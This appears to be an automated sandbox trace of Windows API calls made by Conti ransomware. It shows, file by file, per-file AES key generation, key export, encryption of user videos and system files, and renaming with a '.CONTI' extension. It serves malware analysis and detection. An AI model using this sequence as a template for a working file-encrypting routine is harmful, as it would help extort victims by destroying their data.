	[0146.540] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.540] CloseHandle (hObject=0x2ec) returned 1
	[0146.540] GetProcessHeap () returned 0x1720000
	[0146.540] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.540] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv"
	[0146.540] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv.CONTI"
	[0146.540] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\v9jwpgsbj.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\v9JwPgSBj.mkv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\v9jwpgsbj.mkv.conti")) returned 1
	[0146.541] GetProcessHeap () returned 0x1720000
	[0146.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.541] CryptDestroyKey (hKey=0x17de990) returned 1
	[0146.541] GetProcessHeap () returned 0x1720000
	[0146.541] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aec0 | out: hHeap=0x1720000) returned 1
	[0146.541] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0146.541] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65cf9c8 | out: phKey=0x65cf9c8*=0x17deb10) returned 1
	[0146.541] CryptExportKey (in: hKey=0x17deb10, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf9cc, pdwDataLen=0x4abfcac | out: pbData=0x65cf9cc*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0146.542] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\4_6n7nz.avi")) returned 0x20
	[0146.544] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\4_6n7nz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0146.544] GetLastError () returned 0x0
	[0146.544] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=38984) returned 1
	[0146.544] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9848
	[0146.544] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.544] SetEndOfFile (hFile=0x2ec) returned 1
	[0146.544] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.544] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.544] WriteFile (in: hFile=0x2ec, lpBuffer=0x65cf9cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65cf9cc*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0146.549] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.550] ReadFile (in: hFile=0x2ec, lpBuffer=0xd540000, nNumberOfBytesToRead=0x9848, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x9848, lpOverlapped=0x0) returned 1
	[0146.551] CryptEncrypt (in: hKey=0x17deb10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x9848, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x9850) returned 1
	[0146.551] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.551] WriteFile (in: hFile=0x2ec, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x9850, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x9850, lpOverlapped=0x0) returned 1
	[0146.551] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.551] WriteFile (in: hFile=0x2ec, lpBuffer=0x65cf9c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65cf9c0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0146.551] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.551] CloseHandle (hObject=0x2ec) returned 1
	[0146.551] GetProcessHeap () returned 0x1720000
	[0146.551] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.552] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi"
	[0146.552] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi.CONTI"
	[0146.552] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\4_6n7nz.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\4_6n7NZ.avi.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\4_6n7nz.avi.conti")) returned 1
	[0146.552] GetProcessHeap () returned 0x1720000
	[0146.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.552] CryptDestroyKey (hKey=0x17deb10) returned 1
	[0146.552] GetProcessHeap () returned 0x1720000
	[0146.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbe98 | out: hHeap=0x1720000) returned 1
	[0146.552] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0146.552] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65d02e8 | out: phKey=0x65d02e8*=0x17de990) returned 1
	[0146.552] CryptExportKey (in: hKey=0x17de990, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d02ec, pdwDataLen=0x4abfcac | out: pbData=0x65d02ec*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0146.553] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\huikxeof7sqmzwdy.mp4")) returned 0x20
	[0146.553] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\huikxeof7sqmzwdy.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0146.553] GetLastError () returned 0x0
	[0146.553] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=52092) returned 1
	[0146.553] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcb7c
	[0146.554] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.554] SetEndOfFile (hFile=0x2ec) returned 1
	[0146.554] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.554] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.554] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d02ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65d02ec*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0148.079] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.079] ReadFile (in: hFile=0x2ec, lpBuffer=0xd540000, nNumberOfBytesToRead=0xcb7c, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0xcb7c, lpOverlapped=0x0) returned 1
	[0148.080] CryptEncrypt (in: hKey=0x17de990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0xcb7c, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0xcb80) returned 1
	[0148.080] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.081] WriteFile (in: hFile=0x2ec, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0xcb80, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0xcb80, lpOverlapped=0x0) returned 1
	[0148.081] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.081] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d02e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65d02e0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0148.081] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.081] CloseHandle (hObject=0x2ec) returned 1
	[0148.081] GetProcessHeap () returned 0x1720000
	[0148.081] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0148.082] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4"
	[0148.082] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4.CONTI"
	[0148.082] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\huikxeof7sqmzwdy.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\HUikXeOF7sQMZWdY.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\huikxeof7sqmzwdy.mp4.conti")) returned 1
	[0148.084] GetProcessHeap () returned 0x1720000
	[0148.084] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0148.084] CryptDestroyKey (hKey=0x17de990) returned 1
	[0148.084] GetProcessHeap () returned 0x1720000
	[0148.084] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5b60 | out: hHeap=0x1720000) returned 1
	[0148.084] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0148.084] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65d22d8 | out: phKey=0x65d22d8*=0x17de710) returned 1
	[0148.084] CryptExportKey (in: hKey=0x17de710, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d22dc, pdwDataLen=0x4abfcac | out: pbData=0x65d22dc*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0148.085] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt")) returned 0x20
	[0148.085] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0148.086] GetLastError () returned 0x0
	[0148.086] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=2317) returned 1
	[0148.086] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x90d
	[0148.086] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.086] SetEndOfFile (hFile=0x2ec) returned 1
	[0148.086] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.086] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.086] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d22dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65d22dc*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0148.125] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.125] ReadFile (in: hFile=0x2ec, lpBuffer=0xd540000, nNumberOfBytesToRead=0x90d, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x90d, lpOverlapped=0x0) returned 1
	[0148.125] CryptEncrypt (in: hKey=0x17de710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x90d, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x910) returned 1
	[0148.125] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.125] WriteFile (in: hFile=0x2ec, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x910, lpOverlapped=0x0) returned 1
	[0148.125] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.125] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d22d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65d22d0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0148.125] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.125] CloseHandle (hObject=0x2ec) returned 1
	[0148.125] GetProcessHeap () returned 0x1720000
	[0148.125] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0148.125] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt"
	[0148.125] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.CONTI") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.CONTI"
	[0148.125] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.CONTI" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt.conti")) returned 1
	[0148.126] GetProcessHeap () returned 0x1720000
	[0148.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0148.126] CryptDestroyKey (hKey=0x17de710) returned 1
	[0148.126] GetProcessHeap () returned 0x1720000
	[0148.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65deae0 | out: hHeap=0x1720000) returned 1
	[0148.126] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0148.126] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65d2090 | out: phKey=0x65d2090*=0x17de710) returned 1
	[0148.126] CryptExportKey (in: hKey=0x17de710, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2094, pdwDataLen=0x4abfcac | out: pbData=0x65d2094*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0148.127] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt")) returned 0x20
	[0148.127] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0148.128] GetLastError () returned 0x0
	[0148.128] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=825371) returned 1
	[0148.128] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc981b
	[0148.128] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.128] SetEndOfFile (hFile=0x2ec) returned 1
	[0148.128] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.128] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.139] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d2094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x65d2094*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0148.530] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.530] ReadFile (in: hFile=0x2ec, lpBuffer=0xd540000, nNumberOfBytesToRead=0xc981b, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0xc981b, lpOverlapped=0x0) returned 1
	[0149.385] CryptEncrypt (in: hKey=0x17de710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0xc981b, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0xc9820) returned 1
	[0149.386] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.386] WriteFile (in: hFile=0x2ec, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0xc9820, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0xc9820, lpOverlapped=0x0) returned 1
	[0149.388] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.388] WriteFile (in: hFile=0x2ec, lpBuffer=0x65d2088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x65d2088*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0149.388] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.388] CloseHandle (hObject=0x2ec) returned 1
	[0149.389] GetProcessHeap () returned 0x1720000
	[0149.389] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0149.516] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" | out: lpString1="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt"
	[0149.516] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.CONTI") returned="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.CONTI"
	[0149.516] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt.CONTI" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt.conti")) returned 1
	[0151.410] GetProcessHeap () returned 0x1720000
	[0151.410] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.410] CryptDestroyKey (hKey=0x17de710) returned 1
	[0151.410] GetProcessHeap () returned 0x1720000
	[0151.410] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65deca0 | out: hHeap=0x1720000) returned 1
	[0151.410] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0151.410] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x65d9978 | out: phKey=0x65d9978*=0x17dea90) returned 1
	[0151.410] CryptExportKey (in: hKey=0x17dea90, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d997c, pdwDataLen=0x4abfcac | out: pbData=0x65d997c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0151.411] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm")) returned 0x20
	[0151.412] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lt-lt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lt-lt.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0151.412] GetLastError () returned 0x0
